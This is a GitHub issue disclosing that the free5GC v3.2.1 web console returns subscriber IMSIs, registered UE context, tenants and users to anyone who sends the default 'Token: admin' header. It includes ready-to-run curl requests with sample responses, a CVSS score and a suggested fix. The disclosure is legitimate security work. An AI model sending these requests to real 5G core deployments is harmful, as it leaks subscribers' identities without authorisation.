

[New issue](#)[Jump to bottom](#)

[Bugs] Leaking Registered UEs,Subscriber information,Tenants and User via the Free5gc webconsole without authentication #387

Open p1-aji opened this issue on Aug 24 · 1 comment

p1-aji commented on Aug 24

Bug Description

Free5gc webconsole come with a default username Admin and by using this username as a token header and without any password or authentication ,it's possible to leak all the information below :

- Registered UEs (plmnID,ueId)
- Subscriber information
(AccessType,CmState,Guti,Mcc,Mnc,Dnn,PduSessionId,Sd,SmContextRef,Sst,Supi,Tac)
- Tenant and User

Steps To Reproduce

- Leaking the subscriber list:

```
$ curl 'http://172.27.65.183:30500/api/subscriber' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.27.65.183:30500/' -H 'Connection: keep-alive' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
```

```
[{"plmnID":"20893","ueId":"imsi-208930000000003"}]
```

- Using the gathered IMSI to get the Registered UE info:

```
$ curl 'http://172.27.65.183:30500/api/registered-ue-context/imsi-208930000000003' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-
```

```
Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
```

```
[{"AccessType":"3GPP_ACCESS","CmState":"IDLE","Guti":"20893cafe0000000014","Mcc":"208","Mnc":"93","Pd":{"Dnn":"internet","PduSessionId":"1","Sd":"010203","SmContextRef":"urn:uuid:d303dc78-b85a-4071-9e47-1e86e94b1773","Sst":"1"}}, {"Supi":"imsi-208930000000003","Tac":"000001"}]
```



- Leaking tenant information

```
$ curl 'http://172.27.65.183:30500/api/tenant' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
```

```
[{"tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","tenantName":"test"}]
```

- Using the gathered tenant id to get users informations on a specific tenant:

```
$ curl 'http://172.27.65.183:30500/api/tenant/95e76759-cf0b-4c4f-8e93-393db0fbe503/user' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://172.27.65.183:30500/'
```

```
[{"userId":"715d2157-66c9-4885-b57c-48211010e237","tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","email":"test@test.test","encryptedPassword":""}]
```

Environment :

- free5GC Version: v3.2.1
- OS: Ubuntu 22.04

Risk and Impact

Risk : RISK_INFRASTRUCTURE_INFO_LEAK

Impact: TECH_IMPACT_INFO_DISCLOSURE



- * Financial impact: None or not known.
- * Confidentiality impact: High: It is possible to an attacker to leak Registered UEs (plmnID,ueId),Subscriber information (AccessType,CmState,Guti,Mcc,Mnc,Dnn,PduSessionId,Sd,SmContextRef,Sst,Supi,Tac) , Tenant and User
- * Integrity impact: None or not known.
- * Availability impact: None or not known.

CVSS Base Score: 7.5
Impact Subscore: 3.6
Exploitability Subscore: 3.9
CVSS Temporal Score: 7.5
CVSS Environmental Score: 7.5
CVSS v3 Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X)

[https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?
vector=CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X)

Proposed Fix:

Consider generating a complex random token and give it an expiration date.

  **p1-aji** changed the title ~~[Bugs] Registered UEs,Subscriber information,Tenants and User leakage via the Free5gc webconsole without authentication~~ [Bugs] Leaking Registered UEs,Subscriber information,Tenants and User via the Free5gc webconsole without authentication on Aug 24

konradkar2 commented on Aug 27

I'm not the developer of free5gc, for me, it's a feature 😊
But really who is concerned by this? From my point of view this implementation is not targeting businesses, but engineers that want to test and learn 5G.
Keeping it simple and not hiding information makes it better - at least when the part is not standardized.

  **For3stCo1d** mentioned this issue 24 days ago

Create CVE-2022-38870.yaml projectdiscovery/nuclei-templates#5952

 Merged

 2 tasks

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

